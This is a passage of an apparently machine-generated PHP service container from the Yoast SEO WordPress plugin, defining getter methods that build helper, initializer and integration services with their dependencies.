     * Gets the public 'Yoast\WP\SEO\Helpers\Notification_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Notification_Helper
     */
    protected function getNotificationHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper
     */
    protected function getImageHelper2Service()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'])) {
            return $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'];
        }

        return $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, $a);
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper
     */
    protected function getValuesHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Options_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Options_Helper
     */
    protected function getOptionsHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Pagination_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Pagination_Helper
     */
    protected function getPaginationHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] = new \Yoast\WP\SEO\Helpers\Pagination_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper']) ? $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] : ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper']) ? $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] : ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Permalink_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Permalink_Helper
     */
    protected function getPermalinkHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Post_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Post_Helper
     */
    protected function getPostHelperService()
    {
        $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] = $instance = new \Yoast\WP\SEO\Helpers\Post_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] = new \Yoast\WP\SEO\Helpers\String_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'});

        $instance->set_indexable_repository(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Post_Type_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Post_Type_Helper
     */
    protected function getPostTypeHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] = new \Yoast\WP\SEO\Helpers\Post_Type_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Primary_Term_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Primary_Term_Helper
     */
    protected function getPrimaryTermHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] = new \Yoast\WP\SEO\Helpers\Primary_Term_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Product_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Product_Helper
     */
    protected function getProductHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Redirect_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Redirect_Helper
     */
    protected function getRedirectHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Request_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Request_Helper
     *
     * @deprecated Yoast\WP\SEO\Helpers\Request_Helper is deprecated since version 23.6!
     */
    protected function getRequestHelperService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Helpers\\Request_Helper is deprecated since version 23.6!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Helpers\\Request_Helper'] = new \Yoast\WP\SEO\Helpers\Request_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Require_File_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Require_File_Helper
     */
    protected function getRequireFileHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] = new \Yoast\WP\SEO\Helpers\Require_File_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Robots_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Robots_Helper
     */
    protected function getRobotsHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper'] = new \Yoast\WP\SEO\Helpers\Robots_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Robots_Txt_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Robots_Txt_Helper
     */
    protected function getRobotsTxtHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper'] = new \Yoast\WP\SEO\Helpers\Robots_Txt_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Sanitization_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Sanitization_Helper
     */
    protected function getSanitizationHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Schema\Article_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Schema\Article_Helper
     */
    protected function getArticleHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Article_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Schema\HTML_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Schema\HTML_Helper
     */
    protected function getHTMLHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\HTML_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Schema\ID_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Schema\ID_Helper
     */
    protected function getIDHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\ID_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Schema\Image_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Schema\Image_Helper
     */
    protected function getImageHelper3Service()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Image_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Image_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\HTML_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Language_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Schema\Language_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Schema\Language_Helper
     */
    protected function getLanguageHelper2Service()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Language_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Schema\Replace_Vars_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Schema\Replace_Vars_Helper
     */
    protected function getReplaceVarsHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Replace_Vars_Helper(${($_ = isset($this->services['WPSEO_Replace_Vars']) ? $this->services['WPSEO_Replace_Vars'] : $this->getWPSEOReplaceVarsService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\ID_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Score_Icon_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Score_Icon_Helper
     */
    protected function getScoreIconHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Score_Icon_Helper'] = new \Yoast\WP\SEO\Helpers\Score_Icon_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper'] : $this->getRobotsHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Short_Link_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Short_Link_Helper
     */
    protected function getShortLinkHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] = new \Yoast\WP\SEO\Helpers\Short_Link_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Site_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Site_Helper
     */
    protected function getSiteHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] = new \Yoast\WP\SEO\Helpers\Site_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Social_Profiles_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Social_Profiles_Helper
     */
    protected function getSocialProfilesHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper'] = new \Yoast\WP\SEO\Helpers\Social_Profiles_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\String_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\String_Helper
     */
    protected function getStringHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] = new \Yoast\WP\SEO\Helpers\String_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Taxonomy_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Taxonomy_Helper
     */
    protected function getTaxonomyHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] = new \Yoast\WP\SEO\Helpers\Taxonomy_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] = new \Yoast\WP\SEO\Helpers\String_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Twitter\Image_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Twitter\Image_Helper
     */
    protected function getImageHelper4Service()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'])) {
            return $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'];
        }

        return $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] = new \Yoast\WP\SEO\Helpers\Twitter\Image_Helper($a);
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Url_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Url_Helper
     */
    protected function getUrlHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\User_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\User_Helper
     */
    protected function getUserHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Wincher_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Wincher_Helper
     */
    protected function getWincherHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Wincher_Helper'] = new \Yoast\WP\SEO\Helpers\Wincher_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Woocommerce_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Woocommerce_Helper
     */
    protected function getWoocommerceHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Wordpress_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Wordpress_Helper
     */
    protected function getWordpressHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Wordpress_Helper'] = new \Yoast\WP\SEO\Helpers\Wordpress_Helper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Wordproof_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Wordproof_Helper
     *
     * @deprecated Yoast\WP\SEO\Helpers\Wordproof_Helper is deprecated since version 22.10!
     */
    protected function getWordproofHelperService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper is deprecated since version 22.10!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper'] = new \Yoast\WP\SEO\Helpers\Wordproof_Helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Helpers\Wpdb_Helper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Helpers\Wpdb_Helper
     */
    protected function getWpdbHelperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper'] = new \Yoast\WP\SEO\Helpers\Wpdb_Helper(${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Initializers\Crawl_Cleanup_Permalinks' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Initializers\Crawl_Cleanup_Permalinks
     */
    protected function getCrawlCleanupPermalinksService()
    {
        return $this->services['Yoast\\WP\\SEO\\Initializers\\Crawl_Cleanup_Permalinks'] = new \Yoast\WP\SEO\Initializers\Crawl_Cleanup_Permalinks(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper'] : $this->getCrawlCleanupHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Initializers\Disable_Core_Sitemaps' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Initializers\Disable_Core_Sitemaps
     */
    protected function getDisableCoreSitemapsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Initializers\\Disable_Core_Sitemaps'] = new \Yoast\WP\SEO\Initializers\Disable_Core_Sitemaps(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Initializers\Migration_Runner' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Initializers\Migration_Runner
     */
    protected function getMigrationRunnerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Initializers\\Migration_Runner'] = new \Yoast\WP\SEO\Initializers\Migration_Runner(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status']) ? $this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] : ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Loader']) ? $this->services['Yoast\\WP\\SEO\\Loader'] : $this->getLoaderService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Initializers\Plugin_Headers' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Initializers\Plugin_Headers
     */
    protected function getPluginHeadersService()
    {
        return $this->services['Yoast\\WP\\SEO\\Initializers\\Plugin_Headers'] = new \Yoast\WP\SEO\Initializers\Plugin_Headers();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Initializers\Woocommerce' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Initializers\Woocommerce
     */
    protected function getWoocommerceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Initializers\\Woocommerce'] = new \Yoast\WP\SEO\Initializers\Woocommerce();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Academy_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Academy_Integration
     */
    protected function getAcademyIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Academy_Integration'] = new \Yoast\WP\SEO\Integrations\Academy_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] : $this->getShortLinkHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Activation_Cleanup_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Activation_Cleanup_Integration
     */
    protected function getActivationCleanupIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Activation_Cleanup_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Activation_Cleanup_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Dialog_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Dialog_Integration
     */
    protected function getDialogIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Dialog_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Dialog_Integration(${($_ = isset($this->services['WPSEO_Addon_Manager']) ? $this->services['WPSEO_Addon_Manager'] : $this->getWPSEOAddonManagerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Installation_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Installation_Integration
     */
    protected function getInstallationIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Installation_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Installation_Integration(${($_ = isset($this->services['WPSEO_Addon_Manager']) ? $this->services['WPSEO_Addon_Manager'] : $this->getWPSEOAddonManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action'] : $this->getAddonActivateActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action'] : $this->getAddonInstallActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Admin_Columns_Cache_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Admin_Columns_Cache_Integration
     */
    protected function getAdminColumnsCacheIntegrationService()
    {
